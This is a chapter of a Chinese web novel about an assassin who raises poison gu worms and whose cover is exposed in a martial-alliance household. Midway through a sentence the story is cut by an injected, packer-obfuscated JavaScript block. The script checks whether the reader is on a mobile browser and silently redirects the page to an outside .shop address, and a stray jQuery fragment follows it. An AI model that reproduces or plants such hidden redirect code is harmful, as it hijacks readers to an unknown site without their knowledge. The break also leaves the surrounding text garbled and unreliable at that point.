“嘶”
糜月轻轻抽气,咬牙忍了忍,还是重新割开腕子上的旧伤,滴滴血液滴进蛊盅,喂食母虫。
这蛊毒是由母虫与子虫两部分组成,子虫分别种植在四伏阁的刺客身上,母虫则全部养殖在糜月的体内。
这也是他变脸的“秘籍”,母虫吸食血液为生,也会通过吃掉子虫反哺他养分,这种反哺可以保证他青春永驻,但代价是每吃掉一只子虫就要换一次皮,新皮的模样很难控制。
糜月已经记不清他本来的面目了。
他几乎是第一次将母虫取出体外喂食驯养,这个过程要慢,要保证母虫逐渐虚弱萎靡而不死透,这样才能把母虫放进子虫的宿体,让子虫蚕食后自然死亡,从而达到解毒效果。
这和从前他食用子虫是完全相反的过程,母虫吃子虫就是直接入体由母虫群体分食,不需要将子虫刻意驯养得羸弱无攻击性。
这个过程简单便捷且完全有益于他,只不过蜕皮过程较为痛苦也会变得极端丑陋。
而尝试为子虫解毒则完全是吃力不讨好,这种不讨好是双向的,他自己也会因为缺少一只母虫而短暂陷入混乱、虚弱期。
他真是不该轻易答应她,当初就该直接杀了她,人都死了,长孙郁自然也就不会为情所困。何故让她做那劳什子假成亲,还拉得他被迫入局,进退维谷。
糜月轻轻叹气,合上蛊盅,给腕上涂点药然后咬着纱布缠绕、系结。
窗明几净,四壁素白。一侧立着高大多宝格木架,错落摆着青瓷雅器与珍本字画;临窗设一张厚梨花木案,案上铺着暗纹锦缎书毡。
砚台、湖笔、狼毫分列有序,端砚凝着残墨;案头堆叠线装古籍层层码放。
翠屏正站在一侧安静研磨,堂中跪着皇宫侍卫装束的送信人。
“啪”拍桌声乍响。
“府中有奸细?!”
老盟主展信一看,再听侍卫口述自长孙旖出事后调查出来的所有疑点、线索,当即怒目圆瞪,不敢相信竟然有宵小混进自己眼皮子底下,害了自己的外孙子,而她竟然一无所察。
一双锐利鹰目眯着眼更显得凶厉可怖,她沉着声音:
“旖儿没事便好……给我把那日所有跟随去簪花郡的下人,统统给我抓起来关进地牢!真以为我盟主府想进就进想出就出?不剥他一层皮还真当我老眼昏花?!”
“哦对,信里提到的侍卫,应当是庆冷,她护驾有功,不必审她。其他的,一个都不许放过。”
“是!”
糜月又在苦命的扫地,他这辈子从来没扫过这么多次地,一开始忙活这些烦人的事,他就不免埋怨青情。
“咕、嘎、嘎”
糜月扫地的动作慢下来,渐渐停了。日头烈烈泛白,如今已是立夏的时节了。
他伸手挡了挡,强烈的光线才在阴影中缓和,他看清那乱叫的鸟是一只信鸽,正朝他飞来。
他捻下信鸽腿上绑着的小信,放飞鸽子,展开一瞧:长孙旖未殒,皇室心疑盟主府,恐已败露。
信鸽能带着的纸张不大,这些字写得很小,挤挤挨挨凑在一起,该传达的信息却足够明确。
他暴露了。
“谁是花月?”来拿人的带刀侍卫面目狰狞、气势汹汹,她们身边跟着张叔,一脸汗颜讨好。
“花月就在院中扫地,是有何事……”
侍卫一眼瞧见糜月,振臂一挥就要将糜月擒走,青情就在假山后躲闲,一听见这边吆五喝六的声音,午睡的困意瞬间消散。
她拍了拍身上的尘土草叶,笑得像一个老实妻主,要来给惹祸的夫郎打圆场了:“几位姐妹,我夫郎可是何处得罪了?为何一言不合就要将他带走?”
趁着青情说话的空当,糜月背在身后的手揉碎小纸条,把碎片丢进身后的灌木丛。
“盟主下令彻查府中奸佞宵小,所有那日跟去簪花郡的下人都要审问,细查!”
女尊世界的女子都颇不耐也不屑同男子解释,但是只要这男子的妻主一出面,甭管是清汤大老爷还是街边吃窝窝头的乞丐,她们都要彼此卖几分不知从哪来的“薄面”。
只是这面子也就够她们解释一句缘由和去处,可不够青情把人给留下。
青情有些惊,糜月被查她不想管,可她解药还没到手呢啊!
这下不管也得管了。
“为何突然又要审问了?这事不是已经过去许久?”
那些侍卫已经有些不耐烦了,但是她们知道青情,盟主亲口赦免的“有功之臣”,不好和人冷脸闹僵,万一以后人家升官了呢?
“二皇子安全回凰城了,先前皇宫侍卫一直在百川查二皇子下落,查刺客源头,还有二皇子行踪泄露也十分古怪。估计是皇宫侍卫查出什么线索,所以现在要深挖。”
“盟主这回气得不轻,我劝你别多问,就算是心疼夫郎也没用,盟主明令要一个不漏!”
青情眼睫快速震颤,心虚瞟向糜月一眼,正对上他有些复杂探究的视线,青情呼吸乱一拍。
她本想瞒着长孙旖的行踪,直至拿到解药,糜月想反悔也不成,到时她再去渔村接他,送他回凰城。
怎得他自己就回去了?这么不听话?还是等着急了?
顾不上思索长孙旖为何突然回凰城,当务之急是该先稳住糜月,免得让他觉得她刻意隐瞒、诓骗解药,到时反悔不肯给她了!
青情连忙正色,故作震惊对侍卫道:“二殿下他还活着?!”
她做出癫狂惊喜状,掐住那侍卫的肩膀剧烈震晃:“真的吗?二殿下真的平安无事?那他可受了什么伤?身体现在如何了?”
侍卫被晃得心烦,刀柄一抬打开青情的手腕,不耐道:“我哪知道,我是盟主府的侍卫,又不是皇宫来的!要问你问盟主去,盟主看过信什么事都知道!”
“别耽搁了,快点把人带走。”她身后另一个侍卫也觉得不耐烦,这名单上人头多着呢,糜月才只是第一个。
领头的侍卫点头,摆摆手:“带走!”
“诶诶——”青情又要拦,这下侍卫是真绷不住了:
“你到底要作甚!你要抗命不成?”
青情无辜的摇头摆手,悄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633808|204647||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
悄歪挪几步身子把糜月护在身后:“姐妹,我是想提醒你,要抓连我一起抓啊,我也是跟着去簪花郡的。”
侍卫摆手,无语看她:“你以为我们是吃干饭的,抓人都抓不明白?盟主说你护驾有功,免了你的嫌疑,快躲开吧!”
诶呦,这时候免她嫌疑,那糜月还不彻底把她当诈骗犯!
她又要试着说什么给自己打圆场,糜月扯了扯她,对几个侍卫说:
“我与妻主新婚燕尔,如胶似漆,成亲后还未长久分开过,妻主恐怕有些过于担心我,请容我和妻主道个别,随后就跟上你们。”
侍卫点点头,也不怕人跑,毕竟糜月看着就是个弱男子,才成亲不久,哪像个奸细?她们出去等着了。
青情一愣:“有何事要交代?”
糜月眯眸子盯她一瞬,像是想要看穿她,很快目移环顾了一圈,不远处就站着个张叔,看着有些犹豫不知该不该走。
他扯着青情的衣袖走远一段,张叔于是了然,主动留出空白给妻夫二人。
“我床底下有个小罐子,把它拿走,别叫人看见。”
糜月就交代了这一句,他那一屋子东西都无关紧要,偏偏那罐子里的母虫含着剧毒,要是被搜房间,被发现那就是完全解释不清。
就算他们鲜见少闻,看不出那是蛊虫,恐怕一个男子拿个罐子养虫子,也会被认为行迹古怪,十分可疑吧?
“你不如直接跑?难道你真想被审一遍?”青情提议道,跑了起码还活着,被审谁又知道盟主府审人会用什么手段?
说白了,江湖上的人,行事多狂放不羁、不守礼法规矩,恐怕就连刑讯手段,也会非常不拘一格。
“跑不掉。”
长孙旖说得简短,看他这副言简意赅的样子,青情感觉到他其实是紧张的,恐怕他现在确实陷入了难以脱困的危机。
“我知道了。”青情抿唇,最后犹豫道:“解药,还给我吗?”
糜月深深看她一眼,只说:“我被关后,想办法来见我。”
说罢,他去自投罗网,青情看他远去的背影,脚下生风去他屋子里翻找罐子。
她打开一瞧,是一条不起眼的黑色小虫,看起来蔫哒哒的,不怎么动弹。
虫子?特意交代她来拿走,这是他的宠物不成?
青情认不出这是个什么东西,带走之后找个地方藏着,算是完成糜月对她的嘱托。
只是还要想办法见糜月,才能拿到解药,那就要先打听关押位置,再弄清值守人员轮换时间,最后找机会混进去,再找机会不被发现的出来,实在有些麻烦。
也不知道糜月打什么主意,不肯现在把话说完,偏偏引她去牢里,恐怕是想借机利用她助他脱困吧?
唉,她的直觉果然没错,这事就是越拖越难办成,而这一切的败笔都要从长孙旖不听话开始算起!
在床榻上盘腿而坐,青情捏个手势增强和仙魂的感应,她倒是要看看长孙旖究竟要作甚,这么急着回凰城。
就算要跟刺客算账,是不是也该等她这个人质活着回去再闹啊!